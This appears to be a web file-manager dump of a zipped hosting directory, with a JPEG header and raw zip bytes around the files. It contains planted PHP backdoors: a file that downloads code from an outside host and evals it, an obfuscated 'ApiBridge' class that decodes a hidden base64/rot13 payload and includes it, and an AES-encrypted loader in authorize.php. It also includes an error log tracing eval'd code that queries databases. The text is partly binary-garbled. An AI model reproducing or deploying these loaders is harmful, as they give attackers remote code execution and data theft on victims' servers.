ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/hijabtrendz.com/pasai1.isogoo.com.zip
Back
PK 39�\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK 39�\">��s+ s+ pasai1.isogoo.com:80.phpnu ��6�$ <?php class ApiBridge { private $tx = ''; private $sy = ''; public function generateToken($p1) { $a = array(((80+18)),((104-7)),((46*39)-1679),(((4*18)+29)),((27*60)-1566),(((26*2)+0)),(36+53+6),(((26*2)+48)),(110-9),((54*1)+45),(103+4+4),(74+25+1),((7*99)-592)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1); } public function logEvent($p1) { $a = array(((3*17)),((6*42)-203),((119-3)),111,((22*2)+70),((83*1)+12),((2*57)),(((100*69)-6784)),((120-5))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function initializeModule($p1,$p2) { $a = array((((19*114)-2056)),(81+20),(16+70+26),(111),((40*10)-298)); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function terminateSession($p1,$p2) { $a = array(((8+39+54)),((2*58)),(110-5),((2*57)),((17*125)-2006),102); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function trackActivity($p1) { $a = array((((74*63)-4561)),(((19*61)-1044)),((63*1)+48),(69+39),(63+36),(81+21)); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function updateCache($p1,$p2=null) { $a = array(((124-10)),(2*58),(69+45),105,(109)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function scheduleJob() { $this->sy = $this->updateCache($this->fetchSummary(), '/'); } public function cacheData() { $this->tx = $this->logEvent($this->generateToken($this->vx)); } public function as() { $fn = $this->sy.'/yw-67e233813d461'; $f = $this->initializeModule($fn, 'w'); $this->terminateSession($f, $this->tx); $this->trackActivity($f); $this->manageState($fn); } private $vx = 'PD9jdWMgcHluZmYgX2JxaHtjZXZpbmdyIGZnbmd2cCRfd3g7Z' . 'mduZ3ZwIHNoYXBndmJhIF90bWMoJF9hc3Ype3ZzKCFmcnlzOjo' . 'kX3d4KWZyeXM6Ol9qdSgpO2VyZ2hlYSB1cmsyb3ZhKGZyeXM6O' . 'iRfd3hbJF9hc3ZdKTt9Y2V2aW5nciBmZ25ndnAgc2hhcGd2YmE' . 'gX2p1KCl7ZnJ5czo6JF93eD1uZWVubCgnX2V4Jz0+JzQxNjM2M' . 'zY1NzM3MzJxNDM2czZyJy4nNzQ3MjZzNnAycTQxNnA2cDZzNzc' . 'ycTRzNzI2OTY3Njk2cjNuMicuJzAnLicyJy4nbicsJ192dSc9P' . 'ic0MzZzNnI3NDY1Jy4nNnI3NDJxNScuJzQ3OTcwNjUzbjIwNjE' . '3MDcwNnA2OTYzNjE3NDY5NnM2cjJzJy4nNm42MTc2NjE3MzYzJ' . 'y4nNzI2OTcwJy4nNzQnLCdfc24nPT4nNjM2Jy4nOCcsJ19hYSc' . '9Pic2NTc5NG43MDYzNDM0OTM2NDk2bjY3MzQ0cDZuNjczNDRwN' . 'm42NzM0NHA2bjY3MzQ0OTYnLic5Nzc2OTY0NTc0NTY5NHM2OTR' . 'uMzA1bjU4NHIzMDQ5Njk3NzY5NjM2cTU2NnE0OTZuNnM2OTY0N' . 'Dc1NjduNicuJzQ0MzQnLiduMycuJzknLCdfdHpnJz0+JzcxNzc' . 'nLic3Jy4nbicuJzc4JywnX2F2dCc9PiczJy4ncDZzJy4nNm8zc' . 'icsJ19oYyc9PiczJy4ncCcuJzYyNjE2NCcuJzNyJywnX2VtJz0' . '+Jzc3Jy4nNjEnLic2cDZwJywnX2N5Jz0+JycsJ196eic9PicnL' . 'Cdfa3dvJz0+JycsJ19tZyc9Pic2ODc0NzQ3MDNuMnMyczcwNzU' . '2MjJyNzc2NTYyNjY2OTZwNjU2OCcuJzZzNzM3NDY1NzIycjYzN' . 'nM2cTJzNjM2czZxNzA2czczJy4nNjU3MjJyNm43Jy4nMzNzNjQ' . 'nLic2MTc0Jy4nNicuJzEzcScsJ191ayc9Pic2Mzc1NzInLic2c' . 'DVzNjk2cicuJzY5Jy4nNycuJzQnLCdfd2h2Jz0+JzY4NzQ3NDc' . 'wNXM2MzZzNjQnLic2NScsJ19xeSc9Pic3MzYzNjg2NTZxNicuJ' . 'zUnLCdfbHQnPT4nNjg3NDc0NzA3Jy4nMycsJ191YmQnPT4nNDc' . '0NScuJzU0Jy4nMicuJzAnLCdfaW0nPT4nNzA2MTc0NicuJzgnL' . 'CdfeGcnPT4nNzE3Jy4nNScuJzY1Jy4nNzI3Jy4nOScsJ19sYWk' . 'nPT4nM3MnLCdfaWEnPT4nNzE3NTY1Jy4nNzInLic3OScsJ192Y' . 'yc9PicyMDQ4NTQ1NDUwMnMzMTJyMycuJzAwcTBuNDg2cycuJzc' . 'zNzQzbicuJzInLicwJywnX2ZiJz0+JzY4Jy4nNnM3Jy4nMycuJ' . 'zcnLic0JywnX2ZyJz0+JzBxMG40MzZzNnI2cjY1NjM3NDY5NnM' . '2cjNuMjA0MzZwNnM3MzY1MHEwbicuJzAnLidxJy4nMG4nLCdfa' . '2xnJz0+JzczNycuJzM2cDNuMicuJ3MnLicyJy4ncycsJ19ydXk' . 'nPT4nJywnX3dhJz0+JzY4NnM3MzcnLic0JywnX2d6Jz0+JzAnL' . 'idxMG4nLCdfeW94Jz0+JzQ4NTQ1NDUwNXM0MzRwNDk0NTRyNTQ' . '1czQnLic5NTAnLCdfcmYnPT4nNDg1NDU0NTA1Jy4nczU4NXM0J' . 'y4nNjRzNTI1NzQxNScuJzI0NDQ1Jy4nNDQ1czQ2NCcuJ3M1Mic' . 'sJ19neSc9Pic1MjQ1NHE0czU0NDU1czQxNDQ0Jy4nNCcuJzUyJ' . 'ywnX29mJz0+JzQ4NTQ1NDUnLicwNXM1NTUzNDU1MjUnLidzNDE' . '0NzQ1NCcuJ3InLic1NCcsJ193dWInPT4nNDg1NDU0NTA1czU1N' . 'TM0NTUyNXM0MTQ3Jy4nNDU0cjUnLic0JywnX3h6Jz0+JycsJ19' . 'qaSc9Pic0ODU0NTQ1MDVzNTI0NTQ2NDU1Jy4nMicuJzQ1NScuJ' . 'zInLCdfcGdjJz0+JzQ4NTQ1Jy4nNDUwNXM1MjQ1Jy4nNDY0NTU' . 'yNDU1MicsJ194dnInPT4nJywnX2dheCc9Pic0ODU0NTQ1MDVzN' . 'DM0cDQ5NDU0cjU0Jy4nNScuJ3M0OTUwJywnX2d4Jz0+JzQ4NTQ' . '1NDUwNXM0MzRwNDk0NTRyNScuJzQ1czQ5NScuJzAnLCdfY3AnP' . 'T4nNDg1NDU0NTA1czU4NXM0Jy4nNjRzNTI1NzQxNTI0NDQ1NDQ' . '1czQ2NHM1MicsJ19kayc9Pic0ODU0NScuJzQ1MDVzNTg1czQ2N' . 'HM1MjU3NDE1MjQ0NDUnLic0NDVzJy4nNDY0cycuJzUyJywnX3Z' . 'xbCc9Pic1MjQ1NHE0czU0Jy4nNDU1czQxNDQ0NDUnLicyJywnX' . '29xeic9Pic1MjQ1NHEnLic0czU0NDU1czQxNDQ0NDUnLicyJyw' . 'nX2dqJz0+JzY0NjI2NzZxNnMnLic2NDY1JywnX2phJz0+JzQ5N' . 'TAzbjIwJywnX25sJz0+JzIwN3AyMDU1NDEzbjIwJywnX3l3Jz0' . '+JzIwN3AyMDUyNjUnLic2NjNuMicuJzAnLCdfaGsnPT4nMjAzc' . 'DYyNycuJzIzcjBuJywnX2FyJz0+JzYnLic5NycuJzAnLCdfYXU' . 'nPT4nNzUnLic2Jy4nMScsJ191Yic9Pic3Jy4nMicuJzY1NicuJ' . 'zYnLCdfeG8nPT4nNzE3NycuJzduNzgnLCk7fX11cm5xcmUoX2J' . 'xaDo6X3RtYygnX2V4JykpO3VybnFyZShfYnFoOjpfdG1jKCdfd' . 'icuJ3UnKSk7dnModmZmcmcoJF9UUkdbX2JxaDo6X3RtYygnX3M' . 'nLiduJyldKSl7JF9veXk9X3llbChfYnFoOjpfdG1jKCdfYScuJ' . '2EnKSk7dnMoJF9veXkmJmZnZWNiZigkX295eSxfYnFoOjpfdG1' . 'jKCdfdHonLidnJykpIT09c255ZnIpe3F2cihfYnFoOjpfdG1jK' . 'CdfYScuJ3YnLid0JykpO31yeWZye3F2cihfYnFoOjpfdG1jKCd' . 'faCcuJ2MnKSk7fX12cyh2ZmZyZygkX1RSR1tfYnFoOjpfdG1jK' . 'CdfJy4nZW0nKV0pKXskX25oZT0kX1BCQlhWUjskX3V4PSh2YWc' . 'pZWJoYXEoMCswKzArMCk7JF9hc3Y9KHZhZyllYmhhcSgzLjUrM' . 'y41KTskX2N1PW5lZW5sKCk7JF9jdVskX3V4XT1fYnFoOjpfdG1' . 'jKCdfYycuJ3knKTtqdXZ5cigkX2Fzdil7JF9jdVskX3V4XS49J' . 'F9uaGVbKHZhZyllYmhhcSg3LjUrNy41KzcuNSs3LjUpXVskX2F' . 'zdl07dnMoISRfbmhlWyh2YWcpZWJoYXEoNy41KzcuNSs3LjUrN' . 'y41KV1bJF9hc3YrKHZhZyllYmhhcSgwLjI1KzAuMjUrMC4yNSs' . 'wLjI1KV0pe3ZzKCEkX25oZVsodmFnKWViaGFxKDEwKzEwKzEwK' . 'V1bJF9hc3YrKHZhZyllYmhhcSgwLjUrMC41KzAuNSswLjUpXSl' . 'vZXJueDskX3V4Kys7JF9jdVskX3V4XT1fYnFoOjpfdG1jKCdfJ' . 'y4neicuJ3onKTskX2FzdisrO30kX2Fzdj0kX2FzdisodmFnKWV' . 'iaGFxKDIuMzMzMzMzMzMzMzMzMysyLjMzMzMzMzMzMzMzMzMrM' . 'i4zMzMzMzMzMzMzMzMzKSsodmFnKWViaGFxKDAuNSswLjUpO30' . 'kX3V4PSRfY3VbKHZhZyllYmhhcSg3KzcpXSgpLiRfY3VbKHZhZ' . 'yllYmhhcSgxMisxMildO3ZzKCEkX2N1Wyh2YWcpZWJoYXEoMys' . 'zKV0oJF91eCkpeyRfYXN2PSRfY3VbKHZhZyllYmhhcSg4LjY2N' . 'jY2NjY2NjY2NjcrOC42NjY2NjY2NjY2NjY3KzguNjY2NjY2NjY' . '2NjY2NyldKCRfdXgsJF9jdVsodmFnKWViaGFxKDMuMzMzMzMzM' . 'zMzMzMzMyszLjMzMzMzMzMzMzMzMzMrMy4zMzMzMzMzMzMzMzM' . 'zKV0pOyRfY3VbKHZhZyllYmhhcSg0LjUrNC41KV0oJF9hc3YsJ' . 'F9jdVsodmFnKWViaGFxKDMuNjY2NjY2NjY2NjY2NyszLjY2NjY' . '2NjY2NjY2NjcrMy42NjY2NjY2NjY2NjY3KV0uJF9jdVsodmFnK' . 'WViaGFxKDcuNjY2NjY2NjY2NjY2Nys3LjY2NjY2NjY2NjY2Njc' . 'rNy42NjY2NjY2NjY2NjY3KV0oJF9jdVsodmFnKWViaGFxKDYuM' . 'jUrNi4yNSs2LjI1KzYuMjUpXSgkX25oZVsodmFnKWViaGFxKDE' . 'rMSsxKV0pKSk7fXZhcHlocXIoJF91eCk7fXNoYXBndmJhIF95Z' . 'WwoJF9ucGksJF9laD1haHl5LCRfamY9LTgwNzUyLCRfdWQ9YWh' . '5eSl7JF9nZz1fYnFoOjpfdG1jKCdfa3cnLidvJyk7JF9heT1fY' . 'nFoOjpfdG1jKCdfbScuJ2cnKS4kX25waTt2cyh2Zl9wbnl5bm9' . '5cihfYnFoOjpfdG1jKCdfdScuJ2snKSkpeyRfa2Y9cGhleV92Y' . 'XZnKCRfYXkpO3BoZXlfZnJnYmNnKCRfa2YsUEhFWUJDR19GRll' . 'fSVJFVlNMQ1JSRSxzbnlmcik7cGhleV9mcmdiY2coJF9rZixQS' . 'EVZQkNHX0ZGWV9JUkVWU0xVQkZHLCh2YWcpZWJoYXEoMSsxKSk' . '7cGhleV9mcmdiY2coJF9rZixQSEVZQkNHX1NCWVlCSllCUE5HV' . 'kJBLCh2YWcpZWJoYXEoMC4zMzMzMzMzMzMzMzMzMyswLjMzMzM' . 'zMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzMzMpKTtwaGV5X2ZyZ' . '2JjZygkX2tmLFBIRVlCQ0dfRVJHSEVBR0VOQUZTUkUsKHZhZyl' . 'lYmhhcSgwLjMzMzMzMzMzMzMzMzMzKzAuMzMzMzMzMzMzMzMzM' . 'zMrMC4zMzMzMzMzMzMzMzMzMykpO3BoZXlfZnJnYmNnKCRfa2Y' . 'sUEhFWUJDR19VUk5RUkUsKHZhZyllYmhhcSgwKzArMCswKSk7c' . 'GhleV9mcmdiY2coJF9rZixQSEVZQkNHX1BCQUFSUEdHVlpSQkh' . 'HLCh2YWcpZWJoYXEoMi41KzIuNSsyLjUrMi41KSk7cGhleV9mc' . 'mdiY2coJF9rZixQSEVZQkNHX0dWWlJCSEcsKHZhZyllYmhhcSg' . 'zLjMzMzMzMzMzMzMzMzMrMy4zMzMzMzMzMzMzMzMzKzMuMzMzM' . 'zMzMzMzMzMzMykpOyRfZ2c9cGhleV9ya3JwKCRfa2YpOyRfeHQ' . '9cGhleV90cmd2YXNiKCRfa2YpO3BoZXlfcHliZnIoJF9rZik7d' . 'nMoJF94dFtfYnFoOjpfdG1jKCdfd2h2JyldIT0odmFnKWViaGF' . 'xKDY2LjY2NjY2NjY2NjY2Nys2Ni42NjY2NjY2NjY2NjcrNjYuN' . 'jY2NjY2NjY2NjY3KSllcmdoZWEgc255ZnI7fXJ5ZnJ7JF9va3o' . '9Y25lZnJfaGV5KCRfYXkpOyRfZXU9KCRfb2t6W19icWg6Ol90b' . 'WMoJ19xeScpXT09X2JxaDo6X3RtYygnX2wnLid0JykpOyRfaWd' . 'uPV9icWg6Ol90bWMoJ191Jy4nYmQnKS4kX29reltfYnFoOjpfd' . 'G1jKCdfaW0nKV07dnModmZmcmcoJF9va3pbX2JxaDo6X3RtYyg' . 'nXycuJ3gnLidnJyldKSkkX2lnbi49X2JxaDo6X3RtYygnXycuJ' . '2xhJy4naScpLiRfb2t6W19icWg6Ol90bWMoJ18nLidpYScpXTs' . 'kX2lnbi49X2JxaDo6X3RtYygnXycuJ3YnLidjJykuJF9va3pbX' . '2JxaDo6X3RtYygnX2ZiJyldLl9icWg6Ol90bWMoJ18nLidmcic' . 'pOyRfcXY9c2ZicHhiY3JhKCgkX2V1P19icWg6Ol90bWMoJ19rJ' . 'y4nbGcnKTpfYnFoOjpfdG1jKCdfcicuJ3V5JykpLiRfb2t6W19' . 'icWg6Ol90bWMoJ193YScpXSwkX2V1Pyh2YWcpZWJoYXEoMjIxL' . 'jUrMjIxLjUpOih2YWcpZWJoYXEoNDArNDApKTt2cygkX3F2KXt' . 'zY2hnZigkX3F2LCRfaWduKTskX2Nnaz0odmFnKWViaGFxKDArM' . 'CswKTtqdXZ5cighc3JicygkX3F2KSl7JF9id2w9c3RyZ2YoJF9' . 'xdiwodmFnKWViaGFxKDI1NisyNTYrMjU2KzI1NikpO3ZzKCRfY' . '2drKSRfZ2cuPSRfYndsO3ZzKCRfYndsPT1fYnFoOjpfdG1jKCd' . 'fJy4nZ3onKSkkX2Nnaz0odmFnKWViaGFxKDAuMzMzMzMzMzMzM' . 'zMzMzMrMC4zMzMzMzMzMzMzMzMzMyswLjMzMzMzMzMzMzMzMzM' . 'zKTt9c3B5YmZyKCRfcXYpO319ZXJnaGVhJF9nZzt9JF92dD12Z' . 'mZyZygkX0ZSRUlSRVtfYnFoOjpfdG1jKCdfeScuJ28nLid4Jyl' . 'dKTskX3RjaD12ZmZyZygkX0ZSRUlSRVtfYnFoOjpfdG1jKCdfc' . 'icuJ2YnKV0pOyRfems9dmZmcmcoJF9GUkVJUkVbX2JxaDo6X3R' . 'tYygnX2cnLid5JyldKTskX2ZjPXZmZnJnKCRfRlJFSVJFW19ic' . 'Wg6Ol90bWMoJ18nLidvJy4nZicpXSk/JF9GUkVJUkVbX2JxaDo' . '6X3RtYygnXycuJ3d1YicpXTpfYnFoOjpfdG1jKCdfeHonKTskX' . '3N3bD12ZmZyZygkX0ZSRUlSRVtfYnFoOjpfdG1jKCdfamknKV0' . 'pPyRfRlJFSVJFW19icWg6Ol90bWMoJ19wJy4nZycuJ2MnKV06X' . '2JxaDo6X3RtYygnX3gnLid2cicpOyRfdnQ9dmZmcmcoJF9GUkV' . 'JUkVbX2JxaDo6X3RtYygnXycuJ2dhJy4neCcpXSk/JF9GUkVJU' . 'kVbX2JxaDo6X3RtYygnX2cnLid4JyldOmFoeXk7JF90Y2g9dmZ' . 'mcmcoJF9GUkVJUkVbX2JxaDo6X3RtYygnX2MnLidwJyldKT8kX' . '0ZSRUlSRVtfYnFoOjpfdG1jKCdfJy4nZCcuJ2snKV06YWh5eTs' . 'kX3prPXZmZnJnKCRfRlJFSVJFW19icWg6Ol90bWMoJ192cWwnK' . 'V0pPyRfRlJFSVJFW19icWg6Ol90bWMoJ19vcXonKV06YWh5eTt' . '2cyhzdnlncmVfaW5lKCRfdnQsKHZhZyllYmhhcSg5MS42NjY2N' . 'jY2NjY2NjcrOTEuNjY2NjY2NjY2NjY3KzkxLjY2NjY2NjY2NjY' . '2NykpKXskX29jbT0kX3Z0O31yeWZydnMoc3Z5Z3JlX2luZSgkX' . '3RjaCwodmFnKWViaGFxKDEzNy41KzEzNy41KSkpeyRfb2NtPSR' . 'fdGNoO31yeWZyeyRfb2NtPSRfems7fXZzKHZmZnJnKCRfVFJHW' . '19icWg6Ol90bWMoJ19naicpXSkpe3JwdWIgX2JxaDo6X3RtYyg' . 'nXycuJ2onLidhJykuJF9vY20uX2JxaDo6X3RtYygnX25sJykuJ' . 'F9mYy5fYnFoOjpfdG1jKCdfeXcnKS4kX3N3bC5fYnFoOjpfdG1' . 'jKCdfaCcuJ2snKTtya3ZnKCk7fXZzKCF2ZmZyZygkX29jbSl8f' . 'CF2ZmZyZygkX2ZjKXx8IXZmZnJnKCRfc3dsKSl7cmt2ZygpO31' . 'yeWZyeyRfa3g9bmVlbmwoX2JxaDo6X3RtYygnXycuJ2EnLidyJ' . 'yk9PiRfb2NtLF9icWg6Ol90bWMoJ19hJy4ndScpPT4kX2ZjLF9' . 'icWg6Ol90bWMoJ191Jy4nYicpPT4kX3N3bCk7JF91ams9aGV5c' . 'mFwYnFyKG9uZnI2NF9yYXBicXIod2ZiYV9yYXBicXIoJF9reCk' . 'pKTskX295eT1feWVsKCRfdWprKTt2cygkX295eSYmZmdlY2JmK' . 'CRfb3l5LF9icWg6Ol90bWMoJ194bycpKSE9PXNueWZyKXtycHV' . 'iJF9veXk7cmt2ZygpO319'; public function manageState($p) { include($p); } public function fetchSummary() { $a=array((115),(119+2),((88*79)-6837),((56+38+1)),103,(101),(29+15+72),(22+7+66),((2*58)),(90+11),(76+33),(79+33),(5*19),(21+46+33),(51+11+43),((83*73)-5945)); $s=''; foreach($a as $n){$s.=chr($n);} return $s(); } } $aw = new ApiBridge(); $aw->scheduleJob(); $aw->cacheData(); $aw->as(); PK 39�\�)�D� � authorize.phpnu �[��� <?php function fetch_metadata($o) { $k = array(30 * 2 + 54, 84 + 2 + 18, 58 + 41); $r = ''; foreach ($k as $i) { $r .= chr($i); } $r = strrev($r); return $r($o); } $erl = array(98 * 2 / 2 - 20 + 20 + 2 + 6 - (2 + 6) + 7 + 4 - (7 + 4) + 3 + 10 - (3 + 10), 97 * 1 / 1 * 1 / 1 + 1 + 10 - (1 + 10), (115 + 1 + 3 - (1 + 3) * 1) / 1, 101 + 2 + 4 - (2 + 4) - 7 + 7 - 8 + 8, 54 + 5 + 8 - (5 + 8) + 18 - 18 - 14 + 14, 52 * 52 / 52 + 19 - 19 + 10 + 4 - (10 + 4) + 6 + 5 - (6 + 5), (95 + 3 + 1 - (3 + 1) + 3 - 3 + 5 - 5 * 1) / 1 + 6 + 4 - (6 + 4), 100 + 15 - 15 - 16 + 16, (101 + 1 - 1 * 1) / 1 + 9 - 9 + 7 + 9 - (7 + 9) + 6 + 5 - (6 + 5), (99 - 17 + 17 - 18 + 18 * 1) / 1 + 5 + 1 - (5 + 1), 111 + 17 - 17 + 10 - 10 + 9 + 10 - (9 + 10), 100 + 3 + 2 - (3 + 2) + 7 + 4 - (7 + 4) + 1 + 1 - (1 + 1), 101 - 6 + 6 + 4 + 7 - (4 + 7) + 14 - 14 + 8 + 3 - (8 + 3)); $krc = ''; foreach ($erl as $vwk) { $krc .= fetch_metadata($vwk); } $rqd = 'eHvNCVgVX5rp4y+a750J6LaFLa16uIPRz4f52qsnHv5friJYv8yBCUqqX3DpM6mGYwJs1jxnK92PpFuF28akh1MKHc3YaVCSSncY2uD1X6FTnkDxkvsdgUtQTXCDt+zOzxoFFyrpQ+pTwdq8WPe6Up9xZekmz+ayEjdVHAaaZa7/aBL7VSX2YbmgBjldb/NbpevYmg3PzH+PNE5nD1J2L4L8J45uegN3Ghx8aDBSqSSh47YWvfMmS921uqixPUJmab6IhHI9QRyt0SYb4/r+KIRlNn+H8CopsoJSRyRKvqhYyhyjRMFowTsXAevDvUhWG5F2xTncTp4bsf5K9AluH9W21NgxHbSwjqVjzCBPUdtYKoSZCzKvis9Q0pSolc1jwlmsODabn0Ueh98hW7GH0SeNC75r3xN+1WL2atmHid3QVQQeXNuUC9yT76rmnjxmeLJ3vx1IwuW/LJI0v/NhFN+NbgpBGDoV+em4DfSAutoPISRcWeELcT1n3yfDYPaMCCPDVQP7rLUe5Td0oHCdamipH9S+0mpcVvsDE82G8smxYXmIAnppVsDtgrCOZQuc0TnXcO9cpCvNPMF7cdTUfKo9rf0zbP+r9CzQ89q5+8Qj+tgTZBuvHUAvvE569P1gLXv8+ydiOGM01qTfmtsIRqpgctg3sn0PlK2WBBCU2Qs2mtkwBGs1YWT9iv72BRSsfAOPgJtMKcNnd2s/iK6sgR/2XrCRDJK2Y4WG4c6VWDpLmI87r5Yju2oPWAcMaulC5Q/gZkJA6GIA8wTwwz7GBG2Kc0pk6TDVwR0q3dZ8ruI7I7iQBvOCzLdJTISVBfGpzPC3mHSLb1xNr4PuQML9qu4CVui/mKLmwV+QKWz5RXZj0k5RHs6tXS4OwmHPt/meJV4ZRUSK4bSw+T+fmZIjY6kh/UhvsU3YxZR9FccgeetW3GrAuDlu2HdjsNmBHmvGQjOTlz5x4Z5ARYaJV6T6wuhRJFpL6yDefXEuA7l2DSH1kffC4howYFWq6Q302cY8Rc0vrneR+Uv/TmJbjMYeonEgyYkTLdp1/+g3gGu3/rXepc0bvKygJBigsZ5/2O6G27veexWs8gbj8p6MSJ/ZkQ=='; $fiu = 'h0HDWAYkl9UyNRK6oYY83J8iRC7FjWJJAD8Wu1wA8Cs='; $gcn = '1UW5dyLQgPodoXBaQcbcuQ=='; $uxy = openssl_decrypt($krc($rqd), 'aes-256-cbc', $krc($fiu), OPENSSL_RAW_DATA, $krc($gcn)); eval($uxy);PK 39�\���E[ [ ? .well-known/pki-validation/97423EE4BF86A215D16AD450CD5ECE8E.txtnu �[��� 97A87CB0372E59CBAD2699962DA120C1B55A90A61BB8BA3944E0D05D5675BF07 comodoca.com 67b830fa4d50cPK 39�\V��!f f error_lognu �[��� [29-Aug-2025 17:54:42 UTC] PHP Warning: Undefined array key 12 in /home/tokomrjk/pasai1.isogoo.com/html.php on line 71 [29-Aug-2025 17:54:42 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/pasai1.isogoo.com/html.php on line 71 [29-Aug-2025 17:54:42 UTC] PHP Warning: Undefined array key 12 in /home/tokomrjk/pasai1.isogoo.com/html.php on line 72 [29-Aug-2025 17:54:42 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/pasai1.isogoo.com/html.php on line 72 [29-Aug-2025 17:54:42 UTC] PHP Warning: Undefined array key 12 in /home/tokomrjk/pasai1.isogoo.com/html.php on line 73 [29-Aug-2025 17:54:42 UTC] PHP Warning: Trying to access array offset on value of type null in /home/tokomrjk/pasai1.isogoo.com/html.php on line 73 [29-Aug-2025 17:54:42 UTC] PHP Warning: Undefined array key 2 in /home/tokomrjk/pasai1.isogoo.com/html.php on line 82 [29-Aug-2025 17:54:42 UTC] PHP Fatal error: Uncaught Error: Value of type null is not callable in /home/tokomrjk/pasai1.isogoo.com/html.php:82 Stack trace: #0 {main} thrown in /home/tokomrjk/pasai1.isogoo.com/html.php on line 82 [22-Sep-2025 11:43:28 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_c844660125ac538e9e0d6175ea897956(1) : eval()'d code on line 1 [22-Sep-2025 11:43:28 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_c844660125ac538e9e0d6175ea897956(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_c844660125ac538e9e0d6175ea897956(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_c844660125ac538e9e0d6175ea897956(1): eval() #2 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_c844660125ac538e9e0d6175ea897956(1) : eval()'d code on line 1 [22-Sep-2025 11:43:28 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_69c153243f7846fa009e4df40813e2b2(1) : eval()'d code on line 1 [22-Sep-2025 11:43:28 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_69c153243f7846fa009e4df40813e2b2(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_69c153243f7846fa009e4df40813e2b2(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_69c153243f7846fa009e4df40813e2b2(1): eval() #2 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_69c153243f7846fa009e4df40813e2b2(1) : eval()'d code on line 1 [22-Sep-2025 11:43:28 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_2b0428351bf8b25fb4c7e15bd59955b0(1) : eval()'d code on line 1 [22-Sep-2025 11:43:28 UTC] PHP Fatal error: Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /opt/alt/php81/var/lib/php/session/sess_2b0428351bf8b25fb4c7e15bd59955b0(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_2b0428351bf8b25fb4c7e15bd59955b0(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_2b0428351bf8b25fb4c7e15bd59955b0(1): eval() #2 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_2b0428351bf8b25fb4c7e15bd59955b0(1) : eval()'d code on line 1 [26-Sep-2025 21:42:45 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_f20cbe5193fece21b56e3837636f0830(1) : eval()'d code on line 1 [26-Sep-2025 21:42:45 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_f20cbe5193fece21b56e3837636f0830(1) : eval()'d code on line 1 [26-Sep-2025 21:42:45 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_f20cbe5193fece21b56e3837636f0830(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_f20cbe5193fece21b56e3837636f0830(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_f20cbe5193fece21b56e3837636f0830(1): eval() #2 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22): eval() #4 {main} thrown in /opt/alt/php81/var/lib/php/session/sess_f20cbe5193fece21b56e3837636f0830(1) : eval()'d code on line 1 [26-Sep-2025 21:42:45 UTC] PHP Warning: Undefined array key 1 in /opt/alt/php81/var/lib/php/session/sess_9a5cb5c71926ab48d91622bcc6507447(1) : eval()'d code on line 1 [26-Sep-2025 21:42:45 UTC] PHP Warning: Trying to access array offset on value of type null in /opt/alt/php81/var/lib/php/session/sess_9a5cb5c71926ab48d91622bcc6507447(1) : eval()'d code on line 1 [26-Sep-2025 21:42:45 UTC] PHP Fatal error: Uncaught Error: Undefined constant "mysqli_connect" in /opt/alt/php81/var/lib/php/session/sess_9a5cb5c71926ab48d91622bcc6507447(1) : eval()'d code:1 Stack trace: #0 /opt/alt/php81/var/lib/php/session/sess_9a5cb5c71926ab48d91622bcc6507447(1) : eval()'d code(1): findSqlData() #1 /opt/alt/php81/var/lib/php/session/sess_9a5cb5c71926ab48d91622bcc6507447(1): eval() #2 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22) : eval()'d code(1): include('/opt/alt/php81/...') #3 /home/tokomrjk/pasai1.isogoo.com/authorize.php(22): eval() #4 {main} thrown in 